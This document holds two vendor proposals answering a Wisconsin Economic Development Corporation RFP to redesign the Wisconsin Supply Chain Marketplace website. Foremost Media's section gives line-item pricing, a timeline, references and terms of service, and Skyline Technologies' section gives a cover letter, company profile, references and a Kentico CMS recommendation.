available Monday - Friday from 9-5 CST to provide hourly support at our standard rate of $105/Hour.

Website Training & After Launch Support
At the completion of your website build, Foremost Media will provide you with online or face to face training on how
to use and manage the website. This training will consist of up to 4 hours of live training via online screen sharing or
in-person training.
In addition, will provide links to our video library that shows many of the common tasks that site administrators will
need to do. The site admin section also has a link to documentation on how to use the CMS system and links to the
user chat boards provided by the DNN community.
We also offer training support via phone after launch by calling our support team. 24/7 emergency support is also
available after hours by calling our offices and following the prompts for after-hours emergencies.
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Pricing
Estimate
Services
Name/Description
Professional Project Management

Price

Qty

$105.00 / Hour

20

Subtotal

Your project will be assigned a dedicated and experienced Project Manager. Our experienced
project manager will work with you every step of the way to ensure your project is completed on time

$2,100.00

and on budget. The project managers is responsible for overall project coordination and
communication. This position cannot be overemphasized.

Site Map and Wireframe Site Template Creation

$105.00 / Hour

15

Work with the client to develop a Site Map for the new site and wireframe site template for the home

$1,575.00

page and sub page. This information will then be used in the next steps to create the graphic design
concepts for the site.

Website Staging Set Up and Configuration

$105.00 / Hour

4

Provision of web server and set up of the website platform to run on a server for development, temp
URL set up for development and configuration of disaster recovery and DNS for launch.
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Simple Custom Graphic Design

$105.00 / Hour

40

Update the design and graphics to align with statewide branding making the site intuative to use and
easy to navigate.
Simple Custom Design - Simple Navigation, Home Page Layout & Page Style Guide = 20 Hours
---------------------------------------------------------------------------------------------------------------------------------------Advanced Custom Design - Simple Navigation, Home Page Layout and style guide, product page
layout = 30 Hours
----------------------------------------------------------------------------------------------------------------------------------------

$4,200.00

--> High End Custom Design - Advanced Navigation, Home Page Layout and style guide, directory
page layout, 2 additional key page layouts = 40 Hours
---------------------------------------------------------------------------------------------------------------------------------------World Class Custom Each page custom designed including parallax elements, complex navigation,
multiple product or service page designs = Time and Material Costs
---------------------------------------------------------------------------------------------------------------------------------------Need help understanding the difference between design options- https://youtu.be/4ooHuyq_PNM

Create and implement Responsive design

$105.00 / Hour

18
$1,890.00

A responsive design allows your website to display nicely across a multitude of different size
screens and devices including desktops, tablets and mobile phones.

Design Implementation

$105.00 / Hour

25
$2,625.00

Convert the graphic design to a functional website

Content Population - Static Pages And Past
Marketplace Updates

$105.00 / Hour

15
$1,575.00

Migrate all existing content from old system to new system and style including marketing place
updates, static pages like about and instructions, terms etc.

Build Marketplace Update Functionality

$105.00 / Hour

55

Market place update functions as a news module allowing pre-approved suppliers and site admins
to post news updates to the website. This database then distributes the updates to other pages of
the site. Recommend adding social sharing aspects to the site as well as a feed of the news to the
home page making the home page more of an information portal. Specific supplier company news
can also show up on their directory profile page. Articles posted will also be able to be pulled into
news readers or other news feeds via RSS syndication
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Profile Creation- Profile Pages

$105.00 / Hour

25

Modify CMS profile creation/registration to include additional fields that are needed for suppliers to

$2,625.00

creat e and manage their profiles. Redesign the profile pages.

Contact Us Form Set Up

$105.00 / Hour

2

Contact form Builder is a simple but effective ASP .Net Module which generates a contact form on
your websites. Admins can control where the form information is sent as well as auto responses on

$210.00

completion of a form. This price includes configuration, styling and set up of a contact us form on
your website

RFP- Innovations Functionality

$105.00 / Hour

85
$8,925.00

Build out RFP Submittal and search functionality as well as the ability to register for RFP
notifications in specific areas and be notified about newly posted RFPs via email.

Site Testing and Review

$99.00 / Hour

3
$297.00

Test the site for different browsers and devices as well as testing of the order process and site
usability.

Robust search functionality

$105.00 / Hour

25

Universal site search needs to be improved on the current site. Foremost Media will build a robust
site search engine and work to fine-tune the engine based on search logs and specific results. In

$2,625.00

other words, will review common searches and ensure search results for those popular searches
match expectations. Site-wide search will search the entire site including the directory, bulletin board
and RFPs

Database Structure Planning and Data Migration

$105.00 / Hour

30
$3,150.00

Create a new database structure for the site to function on a new CMS system.

Build A Revised Directory

$105.00 / Hour

90

Redesign the current directory to work better with search criteria and better display results in a more
expected directory fashion as well as add filtered search to allow users to narrow or expand search
results making it easier to find the supplier they need.
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List Export Functionality

$105.00 / Hour

20
$2,100.00

Allow admin users to export filtered lists of data out of the directory in an Excel format

Set Up Website Analytics

$105.00 / Hour

0.50

Analytics provides you insight into how your customers are finding and using your website, which

$52.50

marketing initiatives are most effective, where people leave the site and much more.

Set up 301 Redirects From Old Site To New

$105.00 / Hour

4

This redirect automatically transfers the visitor or search engine from the old page to the new page.
If a redirect is not done properly, when people click on link from the old site to your new site, or a
link from the search engine, chances are they will get a Page Not Found error. Search engines do

$420.00

not like Page Not Found errors and will quickly remove or lower your rankings if these appear
across the site. If you have launched a new website recently or plan to redo your website in the near
future, it is very important to look at your most frequently visited pages and establish 301 redirects
from each of these pages to the corresponding pages on your new site.

Search Engine Optimization Audit and Optimization

$105.00 / Hour

12

The majority of web traffic is now controlled by a few search engines. We will audit your web
presence and perform initial onsite optimization to ensure your site is easily indexed by Google and

$1,260.00

that the fundimental items needed to rank are in place on the website- Will ensure that the site is
searh engine friendly.

Site Launch

$105.00 / Hour

3.50
$367.50

Move the site to our live server, setup DNS information and work with you to get the new site
launched.

Migration / Training / Outreach To Existing Users

$105.00 / Hour

30

When portals are updated it's important to do outreach to existing users to get them engaged in
using the new portal. Foremost Media will work with your existing user base to get them logged into
their new profiles and trained on not only how to use the new site but also the benefits of using the
site. This will be done through a series of emails, video tutorial creation and even live online or
phone support if necessary
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Training

$105.00 / Hour

10

Online training on how to maintain the website using the CMS system, including managing users

$1,050.00

and modifying content as needed.

30 Day Premium Website Warranty

$0.00 / Fixed

This 30 day warranty will help to keep your website running smoothly with security updates, website
spam prevention, and a host of other items.
See the proposal for additional information about this warranty. The warranty period begins at
website launch, and you will have the opportunity to extend this later if you so desire.

Subtotal:
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Subscriptions
Name/Description
Standard Yearly Enterprise Level Hosting

Price

Qty

$600.00 / Year

1

Subtotal

Store your site in our Tier 1V Data Center and provide: 4GB Disk Space, 100 GB Monthly Transfer,
Up To 3 Domains, 99.9% Uptime Guarantee, 24/7 Emergency Support, Regular Data Back Ups.

$600.00 / Year

*Foremost Media includes 3 months of free hosting during the website development process. After 3
months your annual hosting agreement will begin.

optional

$200.00 / Year

Secure Certificate

1

HTTPS certificate basically adds more security to your site by encrypting the data passed between
the web server and the site. In the past, most e-commerce sites went secure for checkouts etc., but
now Google is recommending HTTPS security be applied to all websites in order to create a more
protected online presence for users. We will get a SSL certificate issued and applied to your site and
take care of renewals going forward.
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optional
4 Hour Monthly Online Marketing
/Maintenance Block Time Agreement

$396.00 / Month

1

For ongoing site maintenance, we suggest you purchase a block of hours each month to be used
towards any site improvements, updates and security or to enhance your online visability through
activities like social posint and SEO marketing efforts.
At the start of your project will develop a master plan and outline your marketing goals as well as
create baseline reports on the current site status so we can measure future success as well as
some of the high-level steps it will take us to reach these goals.
As a part of your monthly block of hours each month at the beginning of the month we report on
several key performance indicators like current rankings, website analytics, conversions like calls
and form fills etc as well as how your hours were used during the previous month and what we plan
to do in the current month on your behalf. Our goal with this approach is to be able to clearly show
value for your spend with us.

$396.00 / Month

Each of our clients is assigned a dedicated account manager here at Foremost Media that has vast
experience in online marketing as well as a team of experts in different aspects of online marketing
like technical SEO or PPC behind them. That account manager will be your primary point of contact
here at Foremost Media. They will be responsible for understanding your goals and current
marketing focus and working with you each month and provide the monthly reporting and planning
on how best to allocate each months hours to achieve success for you.
Each month critical issues like security updates will take precident over activities like online
marketing but unallocated hours will be used by our online marketing team to enhance site visability.
Our block hours start at a minimum of 4 hours per month but most of our clients are around 8-10
hours plus. Hourly costs start at $99/Hour and are discounted based on volume. It's also important
to note that these agreements are month to month with only a 30-day notice required to cancel. We
really want clients to continue because they are seeing ...

Subtotal:

Total cost:

$396.00 / Month
$800.00 / Year

$55,842.00
+ $396.00 / Month
+ $800.00 / Year
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Project Timeline
Project Awarded March 8th, 2019
Week 1 & 2 - Website planning and review March 10th- 23rd 2019
This stage starts with a kickoff call to introduce key players and answer initial outstanding questions as well as
establish regular meeting schedules for the project. Key elements produced during this initial phase:
•

Sitemap

•

Wireframe

•

Initial Database Structure

Week 3-4 - Design March 24th - April 6th
The goal of this stage is to establish a look for the website that the client is satisfied with and includes mockups of
key pages of your website:
•

Homepage design

•

Internal page designs

•

Desktop and Mobile views

Week 5-8 Build Phase April 6th- May 4th
During this stage will take the planning documents and mockups and turn them into a functional website. At the
completion of this phase, you will have a functional website that is nearing completion. During this phase will be
reaching out as specific functionality is requested to have the client test and approve the functionality.
Week 9-10 Testing and Revisions May 5th to May 18th
During this phase will perform browser testing and user testing to try and identify any potential issues with the site
and correct them before launch.
Week 11 Launch May 19th to May 25th
The final week of your project will be dedicated to successfully launching the site. During this week, we'll ensure all
the major pages of the old site have been properly redirected to the new site and that the hosting and domain are
configured properly for the new launch. We will also work to notify users of the site of the upcoming launch and get
them trained on how to use the new site functionality.
Note- This schedule leaves us around two weeks of padding should we encounter some unexpected delays.

32

Redesign of Wisconsin Supply Chain Marketplace

Foremost Media Qualifications
Founded in 2004 in Janesville Wisconsin, Foremost Media has developed hundreds of websites using its
proprietary tools and patent-pending lifecycle management approach. The team developing our sites is led by an
industry professional with over 15 years of systems development and deployment projects.
Our diverse client list includes several Fortune 500 companies, school districts and government agencies to small
local businesses.
To view some examples of our work please click on the thumbnails below. A more extensive gallery can be found
online at www.foremostmedia.com.

Leadership Team
At Foremost Media, we believe that it is our people that differentiate us from the competition. Our team of 32 in
house graphic designers, online marketers, and web developers combine their individual talents to collectively
create websites that are as unique as your business. Whatever the needs of your project, our team of close-knit
creatives can handcraft a solution that suits your business.

Jon Ballard, CEO and Founder of Foremost Media, Inc.:
Jon Ballard is responsible for day-to-day operations, including finance, sales, marketing and human resources.
Ballard has been an entrepreneur for more than 22 years, founding several successful start-ups. He is a thought
leader in the online marketing industry who regularly presents at conferences and seminars around the country.
Ballard is a certified internet marketing consultant through WSI in Toronto, Canada. He attended college at
University of Wisconsin–Eau Claire.
Andrew Walker, Technology Director and Co-Founder Foremost Media, Inc.:
Andrew Walker is responsible for web development services and ensuring Foremost Media is up-to-date on
leading-edge technology and programming skill sets. Walker attended college at University of
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Wisconsin–Whitewater, where he received his Bachelor of Science in Management Computer Systems. From
October 2006 through October 2010, Walker served in the United States Marine Corps, where he was the Chief
Communications Officer for ‘C’ Company 1st Light Armored Reconnaissance Battalion at Camp Pendleton in
California. He was awarded the Navy and Marine Corps Achievement Medal for outstanding achievement.
Matt Brown, Lead Project Manager: 
Matt Brown is responsible for overseeing the development of new and redesigned website projects, including
mobile applications and responsive design. Brown has a Bachelor of Science in Business Administration from
Upper Iowa University and an Associate Degree in Marketing from Blackhawk Technical College. He joined
Foremost Media in January 2007.
Stephen Cardwell, Art Director:
Stephen Cardwell joined Foremost Media in 2011, is responsible for the look and feel of the work the firm produces,
directing the production team on design and graphic creativity. Known for his elegant approach to design, Cardwell
has developed a reputation among Foremost clients for delivering smart, clean visual solutions. Cardwell received
his Bachelor’s Degree from Herzing University and an Associate Degree in Commercial Art from Madison Area
Technical College.

References
James Otterstein Director
Rock County Economic Development
Rock County, WI
Tel: (608) 757-5598
Email: james.otterstein@co.rock.wi.us
Website: www.jobsinrockcounty.com

Kevin Pawlowski- Marketing Communications
Manager
ITW-CC Electronics
Atlanta, GA
Tel: 770-424-4888
Email: kpawlowski@itwcce.com
Website: techspray.com chemtronics.com
texwipe.com

Tim Mueller, Marketing Manager
Playstar, Inc
Janesville, WI
Tel: (888) 752-9782
Email: tmueller@playstarinc.com
Website: www.playstarinc.com

Nikki Johnson, President
Kala Packaging Solutions
Orhum, UT
Tel: (314) 941-1674
Email: nikki@purpleshirtmarketing.com
Website: www.withkala.com

More references available upon request.
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Related Projects
Below are three unique projects that are similar in size to your proposed project and meant to showcase our project
development ability.

jobsinrockcounty.com

JobsInRockCounty.com is a talent recruitment and matchmaking tool for employers located in the greater Rock
County and Stateline Area. The Rock County Development Alliance (Website also developed by Foremost Media)
sought a way to meet the needs of area employers, recruiters, and prospective job seekers. Foremost Media
developed a custom DNN Module for the job portal that streamlines talent recruitment and retention efforts as the
area’s one-stop source for employment information.
Recent enhancements include a custom integration with the Wisconsin Department of Workforce Development
which allows the job board to both push and pull jobs from the DWD database. This integration with DWD is the first
of its kind in the state of WI. This site has been a big hit with the economic development community in Wisconsin,
and we were recently commissioned to develop a similar solution for Greater Racine in support of the Foxconn
development. The Racine solution also integrates with both Indeed and the DWD job portal. That portal can be
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found at https://jobs.greaterracinecounty.com/work-here/find-a-career A case study has been attached to this
proposal for your review.

BCI Burke Product Catalog

BCI Burke is a commercial playground equipment manufacturer located in Fond du Lac Wisconsin. Several years
ago we helped Burke redevelop their website and enhance their digital marketing. BCI Burke sells through a
nationwide distribution network and has a large product catalog with pricing that changes regularly. In addition, new
products are constantly being added and old products are being removed. These constant changes created a
challenge for their smaller distribution companies to keep their websites up to date. To help solve that issue, we
created a master product catalog on the Burke site that feeds child product catalogs to their distributor sites. When
Burke ads a new product to their catalog, it is automatically pushed to the distributor sites.
Other key features include integration with their internal ERP system to push pricing information and quote data
back and forth from the site, a robust distributor log-in section that contains information on distributor quotes and
sales figures and a robust distributor locator tool. View the site at www.bciburke.com
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Camplex

Camplex is a leading US provider of fiber optic cable solutions and accessories for the Broadcast, Pro-Audio, and
Pro-AV markets. As a division of Tower Products Incorporated, Camplex has experienced strong growth in the
television production, sports, educational, and government markets.
Being a leading manufacturer in fiber optic solutions, Camplex was looking to tell their story by giving the website a
more modern and high-tech look. A dated sitemap with poor navigation was making it hard to find products, and this
needed to be addressed. The site also needed a configuration tool for customers to select product features without
having to navigate through a large amount of product pages.
To give the website a more branded look and feel, we took the “X” design in the Camplex logo and placed it in
several areas around the site. You can see traces of the “X” in the header of each category, in the design of the
buttons in the Featured Products section and superimposed behind the product segment tiles. These product
segment tiles focus on six key segments and were brought to life through a combination great imagery and bright
colors that adhere to the company’s branding guidelines.
To alleviate the issue of a customer having to search through several pages to find the exact product they’re
looking for, we developed an easy-to-use configurator. Now a customer can go to one product page and select
configurations such as cable length, SMPTE Connector and Breakout Connector. Built to emulate an ecommerce
checkout experience, the configurator allows a user to Get a Quote or Add to Project List, which is designed to
resemble the website’s shopping cart.
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When updating the sitemap, we created a resource center with improved navigation. The accordion structure helps
the user locate and download documents quickly and easily. Categories include manuals, datasheets and a video
gallery.
Additionally, the redesign includes an attractive mobile responsive experience with a hamburger navigation menu.
This mobile version allows users to easily browse products and take advantage of the newly implemented
configurator. See the site in action here: www.camplex.com

Awards & Recognition
They say winning isn’t everything, but it sure feels good when your hard work is recognized by hundreds of happy
clients and an overflowing trophy case. We are humbled to have both! Below are some of the associations that
have some real estate in our trophy case. If you want an award-winning web design, you need to work with us!
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Customer Testimonials
“We are very happy and proud of the results, your team has been instrumental in guiding us and assisting us in our
vision. We are excited, we have lessons learned to apply to future builds, and are hopeful that we continue our
partnership for future developments on the table.
FYI - We did due diligence to find other options, 1 cheaper, 1 more, 1 who could deliver the world for a million $$But Foremost offered professionalism, clear understanding of our concepts, and confidence in the deliverable- All
without over doing anything. That's a tough balance, you should be proud of your team too!”
Dan Coscarella
Director of Broadcast Technology & Sales

“Foremost Media helped us update our website to a modern looking, mobile-friendly site that helps our customers
find the exact product they need quickly. And by having Foremost Media take over our online marketing, we are
continuing to improve our results. We couldn’t be happier.”
Tom Francois
National Sales Manager at Lanair Products, LLC

"As an IT professional that works closely with Foremost Media on multiple projects I could not be more pleased with
our relationship. From design through implementation I have always been impressed with their business
knowledge, technical skill, and thoroughness with which they approach each challenge. The results are always
exceptional and exceed expectations which is a direct reflection on their project management, design, and
development teams.
The proposals we have received from Foremost for prospective development have been accurate and fair in each
case. Whether you are looking for a stand-alone website solution or integration with 3rd party software they can
deliver on their guarantee. They are the first call we make should we require assistance with new development and
I look forward to working with them in the future."
Gary Simon
Stoughton Trailers
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Premium Website Warranty
A great website doesn't always stay that way. There are numerous issues that can occur with programming
conflicts, spam registrations, or even contact forms. The reasons issues occur are many, but Foremost Media can
help resolve or prevent those issues with out website maintenance warranty. Our expert staff will provide the listed
updates and checks to keep your website running smoothly.
Items Covered under this warranty are:
1. The pages of your website will display in the three primary browsers (internet explorer, Mozilla Firefox, and
Google Chrome) on common screen sizes (define range of sizes), unless the problem is a result of changes
to browser settings, or a lack of common browser settings.
2. We assure that the website programming will work as requested.
3. All content errors will be corrected unless the copy was provided to us that way.
4. We will endeavor to prevent registration spam on your website by taking preventative measures.
5. We will test your website’s contact forms each month of the warranty to verify that they are functioning
properly and sending to the designated email address.
6. We will apply necessary critical website updates to your website as necessary in order to ensure a more
secure website.
Items Not Covered:
Issues not covered by this warranty include problems related to using the website in unintended ways, issues
caused by customer action or inaction, lack of functionality not clearly communicated in the accepted proposal,
items related to search engine visibility or advertising, or work that results from issues we are unable to control
(such as errors in third-party programs or updates).
Foremost Media, Inc. assumes the responsibility of fixing any of the above-covered items. By accepting this
proposal, you agree to waive Foremost Media Inc. from any liability associated with any damages that may result
from the covered or uncovered items.

40

Redesign of Wisconsin Supply Chain Marketplace

Website Testing
All Foremost Media Website Projects go through a series of different tests to ensure they will perform and display
properly across the web and different devices.

Watch The Website Testing Video Here: https://vimeo.com/266725176
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To Get Started
Getting Started Is Easy
1. To get started, simply review and accept this proposal online by clicking on the "Accept this Proposal" button or
print its PDF version, sign it, scan signed document and send to jballard@foremostmedia.com
2. Pay the initial 50% of the project total cost by visiting this online payment link or sending a check to Foremost
Media, Inc. 207 N. Academy St. Suite 200 Janesville, WI 53548.

Conclusion
It has been a pleasure to present this report to Wisconsin Economic Development Corporation. Foremost Media
looks forward to our continued association.
If you have any questions regarding the proposal don't hesitate to contact me:
Best Regards,
Jon Ballard
www.foremostmedia.com
jballard@foremostmedia.com
608.758.4841 Ext: 2050
Follow Me On Twitter: @jonballard
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Terms of Service
Deposit
A non-refundable fifty- percent (50%) down payment is due at the time of this Order.
The balance is due at the time of final client approval before the site is connected to the Internet. The final balance
is subject to change based on the actual amount of time needed to perform each task above. Foremost Media is
responsible to inform the client of time overages in any of the categories listed above and get client approval on
these overages.

Text & Photos
Final text and custom photography will be supplied by the Client. The Designer does not provide copywriting,
editing or photography services.

Maintenance
This estimate covers design and construction of the website through the launch phase. It does not include ongoing
maintenance of the website. Optional support/maintenance time blocks are available for additional site adjustments
after launch. 24/7 emergency support is provided with the hosting agreement.

Terms of Service
All Foremost Media products and services are subject to our Terms of Service agreement. To review our Terms of
service please visit the Foremost Media website. By accepting this agreement you agree to our terms of service.

Expiration
This proposal is good for a period of up to 60 days from the date of the proposal.

Change Orders
The cost of any changes to the scope of work will be priced individually and agreed to, in writing by both parties,
before additional work is performed. The cost will be added to the original project price.

Automatic Renewal/Extension
In order to ensure your website stays active and all necessary services like domain renewals and SSL renewals
don't expire and cause a website outage all services and products and services we provide on a recurring basis are
set up to automatically renew or extend.
Unless otherwise specified agreements for ongoing services such as hosting, domain renewals and block time
agreements for marketing or updates are subject to automatic renewal or extension for like periods of time at
then-current rates.
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To avoid automatic renewal or extensions to any particular product or service, clients/ service subscribers must
deliver written notice via email to info@foremostmedia.com with the subject line "Intent to Cancel or Adjust Service
Agreement." at least 30 Days prior to the start of your renewal period (Typically the beginning of the year or new
month). The notice should originate from the email address for the primary contact for your account and clearly
identify each product or service for which the client is declining automatic renewal and/or extension.
If you have any questions concerning automatic renewal or extension requirements or dates please contact
customer support at 608-758-4841

Signed by:
Wisconsin Economic Development
Corporation

Date
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February 11, 2019

Jela Trask
Key Business Liaison
Wisconsin Economic Development Corporation
201 W. Washington Ave.
Madison, WI 53703
Dear Jela:
On behalf of Skyline Technologies, we would like to thank you for the chance to provide this response for the
Redesign of Wisconsin Supply Chain Marketplace RFP. The Marketplace is near and dear to my heart having worked
with New North, Inc. over the past decade to get this information built out and online. The redesign is an opportunity
to leverage the things that are working well, but also to improve on things that user feedback and experience has
shown could be done differently. It is also an opportunity to build out the site and database in a technology platform
and hosting environment that are more appropriate for the goals of growth and making the database more extensible
in the future.
We are confident we can deliver a successful outcome for you due to the strength of Skyline’s deeply experienced
technical team, the senior project management experience we intend to deploy for this effort, and our understanding
of your current and desired goals for this project. Our experience combined with our proven Agile methodology helps
ensure successful and exciting outcomes for our clients, and we look forward to doing the same for this project and
delivering tremendous value for your organization and its stakeholders. For these reasons, we have 100% loyalty with
our clients – and we look forward to making you one too!
Once again, thank you for this opportunity. We look forward to your response and the opportunity to work with you!

Best regards,

Kevin Wood
Business Development Manager
Office: 920.593.3688
Cell: 920.619.2743
kwood@skylinetechnologies.com
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Executive Summary
Wisconsin Economic Development Council is seeking a partner and trusted advisor to assist them with the
redesign of the Wisconsin Supply Chain Marketplace. The Marketplace houses over 2,000 business profiles
across different directories, regions, and categories for businesses located in Wisconsin. There are several
users of the site including: visitors coming to the site to create or edit their business profile; visitors coming to
look at specific directory or regional business listing results; visitors coming to post a request for proposal;
users looking at the aggregated information housed in the Bulletin Board; users coming to sign up for
newsletters to stay informed and connected; and general website viewing to learn more about the Marketplace.
There are also admin users that are logging in to the site to review/approve/reject profiles that have been
completed and are pending approval before becoming active on the site. Similar admin functionality exists for
news and RFP’s. It is critical that these admin tools are easy to access, flexible, extensible, and easy to search
through as there are thousands of profiles and users.
The site must be built out to ensure the best possible experience for all these user types.
Skyline approaches every business relationship with a partnership mentality – we’re in this together. That’s
why we follow project management processes that involve our clients throughout the process and foster a high
degree of transparency and collaboration. That process is a software industry standard ‘agile’ project
management process called Scrum. It is an iterative process that provides Wisconsin Supply Chain
Marketplace full visibility as the product is being developed. Every two-week period (called a Sprint in Scrum)
we demo the completed work, giving Wisconsin Supply Chain Marketplace the opportunity to influence the
direction of future work. We know that when our clients are engaged with the project team, it builds trust and
results in a more successful project.
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Skyline as an Extension of Wisconsin Economic Development
Corporation
Let’s start with a story.
What’s happening in the marketplace?

Why is this happening? A significant contributor is the disruption of the digital transformation.
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The marketplace is evolving….there are new leaders in the digital age.

Companies that were leaders in their category have lost as

digital innovation has transformed the marketplace .

Many organizations are struggling to manage the balance between current operational demands and innovation.
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However, those who are figuring it out are benefitting significantly.

The most

digitally transformed enterprises generate on
average $100 million in additional operating income each
year.
An example in lending institutions…

Ultimately, digital transformation is about helping organizations in some key areas:

Improvement in these areas is helping organizations drive revenue, reduce cost, improve efficiency, create customer
loyalty, and create frictionless transactions with their customers...which ultimately is creating business value.
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Why is this important, and how does it relate to choosing Skyline Technologies as your partner? Because this is what
Skyline does for its clients every day.
Your business and your needs are unique. Our technical expertise, project management experience, and development
centers provide a variety of flexible delivery models that allow our team to work with your organization in a manner that
best fits your needs. When you work with Skyline you can rest assured that our consultants have access to their
teammates across the organization to help our clients solve their most challenging issues.

Skyline Technologies Company Profile
Skyline History
Skyline Technologies is an IT consulting firm specializing in helping our clients evolve and thrive during this age
of digital transformation. Skyline Technologies is an associate-owned organization, based here in Wisconsin with
offices in Green Bay, Appleton, and the Milwaukee area. We are an S-Corp, currently with 140 employees…and
growing. Of our 140 employees, approximately 50% of them have an ownership stake in the business. This
ownership mentality throughout all levels of the organization fosters a culture that is focused on doing what’s
right for the client and creating enduring client relationships. What does this mean to our clients? It means that
we ask great questions and challenge the status quo, to allow the client to realize the best possible outcomes.
It also means that if a project doesn’t go perfectly (we’re human too!), we will make things right and not leave our
clients hanging. That’s what true partners do.

Skyline – Green Bay
1400 Lombardi Avenue
Suite 104N
Green Bay, WI 54304

Skyline - Appleton
100 W. Lawrence St
Appleton Center, First Floor
Appleton, WI 54911
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We’re here if you need us.

Having been founded in 1992, Skyline is celebrating its 25th anniversary this year. Starting as a technology staffing
company in the early 1990’s, Skyline has grown beyond our roots and evolved into a full-service IT and marketing
consulting firm, providing world-class solutions and services to numerous Fortune 500 organizations from multiple
industry sectors, including Healthcare, Manufacturing, Financial Services, and Retail to name a few. Rather than selling
the business to a third party, Skyline’s founders sold the company to the employees in 2009, to give an ownership
opportunity to those who helped build the company.
Why do we exist?

We are committed to the communities where we live and work. For our communities to be prosperous, they need
thriving organizations. It is our passion and mission to help local organizations evolve in a rapidly transforming digital
world and improve peoples’ lives through innovative technology. By doing so, we believe this helps our Wisconsin9
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based clients provide great solutions to their customers, employees and partners, that improve the end-user
experience, increase loyalty and ultimately grow their businesses. We operate this way because we believe that
successful Wisconsin-based business is the backbone for creating great places to live, work and play.
To further accentuate this, we have a philosophy at Skyline that we call “Give-ology”. Consistent with our mission, we
believe that it’s our responsibility and duty to give back to our communities. Each year we partner with organizations
and causes close to our hearts and homes to provide technologies that help advance their missions. Learn more about
our “Skyline Gives” program and some of the local causes we have worked with at:
https://www.skylinetechnologies.com/About-Us/Community.

Skyline Services

This full-service approach allows Skyline to deliver integrated solutions to our clients. For example, our deeply skilled
team of Project Managers and Business Analysts will often augment our clients’ internal teams to provide support to a
critical development project we may be delivering. Or, our Business Intelligence & Data Analytics team may work handin-hand with members of our Custom Development team to create a mobile solution that allows a client to access,
analyze and interpret multiple sources of data, in order to gain valuable insights on their organization and make better
informed decisions that can drive business value.
Our associates average 15 years of industry experience and are highly certified. We currently employ over 50 Microsoft
certified professionals, five Project Management Professionals (PMP), over 20 Certified Scrum Masters (CSM), two
Certified Scrum Practitioners (CSP), one certified Xamarin developer and two certified Kentico developers. Additionally,
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our associates have obtained over 110 Microsoft certifications making Skyline one of the most decorated Partners in
Wisconsin.
Skyline has been a Xamarin Premier Partner since January 2015 and a Kentico Gold Partner since August of 2014. In
2017, Skyline also achieved Kentico’s Microsoft Azure Competency. The Kentico partner ecosystem includes more
than 1,000 partners worldwide. This competency is earned by an elite group, and Skyline is one of five U.S.-based
partners to earn this certification. They are innovators, developers, and implementers who possess a great business
sense as well as outstanding technical skills.

Awards and Events
•

•

•
•

•
•

Kentico Gold Partner featuring competencies
demonstrating our expertise.
o Azure (1 of 13 partners worldwide, the only
partner in the Midwest)
o Online Marketing (1 of 3 partners in the US)
Awarded a 2016 American Web Design Award
for skylinetechnologies.com, designed by the
Skyline team and built on the Kentico platform.
Formed Mobile MKE – a user group dedicated to
mobile best practices.
Skyline’s mobile app for Mile of Music Festival
was featured in the keynote video at the
Microsoft Worldwide Partner Conference.
Awarded a dotCOMM Award for Roehl.jobs.
Awarded two Kentico Site of the Month Awards –
for Kolbe Windows & Doors and Eat WI Cheese.

Proposal Contacts
Kevin Wood
Business Development Manager
262.593.3688
kwood@skylinetechnologies.com
Nieko Giuliani
Managing Consultant
262.701.9171
ngiuliani@skylinetechnologies.com
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Similar Experience
Skyline has been building websites for the past 20 years. Four years ago, Skyline has selected Kentico as our
primary content management platform and has built 14 websites and are in progress on multiple others. Skyline has
built many more websites, microsites, and dedicated landing pages such as this on various platforms or custom
developed websites.
Kentico Projects: https://www.kentico.com/partners/skyline-technologies#websites-2
Skyline Case Studies: https://www.skylinetechnologies.com/portfolio
Experience with non-profit member associations includes working with Dairy Farmers of Wisconsin, the National
Association of Tax Professionals, International Dairy Deli and Bakery Association and more.

References
Mile of Music
•

•
•
•

In planning the festival, event organizers wanted to provide attendees a user-friendly tool that would help
them get the most from their experience. As a local community member with a vast team of experienced
and knowledgeable technology consultants, the Mile of Music team partnered with Skyline to bring their
vision to life in the form of a mobile app. Skyline began by determining the goals of the app by building a
wish list of functionality. Together it was determined that the app should serve not only as an
informational resource, but also a valuable way of finding events and creating a scheduling for
attendees. Skyline utilized Bluetooth Beacons, Xamarin and Azure to make this vision a reality. Every
year new functionality is launched.
App: located within the Google Play Store and iTunes.
Case Study: https://www.skylinetechnologies.com/Case-Studies/Mile_of_Music
Contact Info:
Dave Willems
120 N. Morrison Street, Suite 100
Appleton, WI 54911
(920) 750-5013
dave@willemsmarketing.com

Initiative-One
•

•
•

Initiative-One needed an engaging website that could grow with them and match their brand, culture, and
expertise. They needed a way to humanize their consultants by putting highlighting their vast experience
and background. Initiative-One wanted to move to a more stable and secure platform.
Case Study: https://www.skylinetechnologies.com/Case-Studies/skyline-jumpstarts-fast-affordablesecure-websites
Contact Info:
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Abbey Strachota
110 South Adams Street
Green Bay, WI 54301
(920) 432-0268
astrachota@initiative-one.com
Dairy Farmers of Wisconsin
•

•

•

Skyline created a new Responsive Web Design solution for Dairy Farmers of Wisconsin’s consumer
focused web site. The new site contains highly customized consumer content with the focus on
Wisconsin Cheese, cheese recipes, educational content, interactive illustrations, news, blogs and a
secured user recipe box section. Additionally, the site is integrated with Microsoft CRM, Constant
Contact, social media properties and shares custom data across over 7 additional web properties.
Skyline continues to provide maintenance and enhancements for their portfolio of websites.
Websites: www.EatWisconsinCheese.com, www.WMMB.com, www.AmericasDairyland.com,
www.WisconsinCheeseFoodservice.com, www.WisconsinCheeseRetail.com, and
www.WisconsinDairyCouncil.com
Contact Info:
LuAnn Lodl
8418 Excelsior Drive
Madison, WI 53717
(608) 203-7247
LLodl@wisconsindairy.org
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Content Management Platform Recommendation
Platform Description
Skyline has selected Kentico as a recommended platform for the Wisconsin
Supply Chain Marketplace Website. Kentico has many benefits over an open
source platform:
•

•
•

•
•
•
•
•
•
•
•

There’s currently no open source CMS on the market that would provide integrated marketing
functionality – that makes the investment into open source rather shortsighted as the customer may
quickly outgrow the CMS.
Kentico Security – testing, code review, bug fixing.
Out-of-the-box functionality – lower implementation costs and more value-added opportunities.
o Open source platforms typically require multiple plug-ins to achieve the same amount of functionality.
These plug-ins are a risk when the site needs to be upgraded.
Kentico stability and compatibility.
Kentico transparent pricing model: free doesn’t mean inexpensive – the nature of open sources doesn’t
necessarily mean that the product is out-of-the-box as the customer would expect.
All in One Solution: Kentico feature set.
Kentico Usability – ensuring customers that the usability of the product is advanced, providing self-paced
training.
Kentico Support –24/7 support, official technical support provided by the open source vendor is often
very expensive.
Bug fixing policy –the completion times for fixes and updates can be longer than customer would expect
in open source solution. Kentico provides 7-day bug fixing policy.
Partner channel – global partner network.
Kentico Professional Team & Product Strategy: Transparent Roadmap, continuous product development
and product improvements, incremental changes with a well-defined upgrade process.
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About Kentico
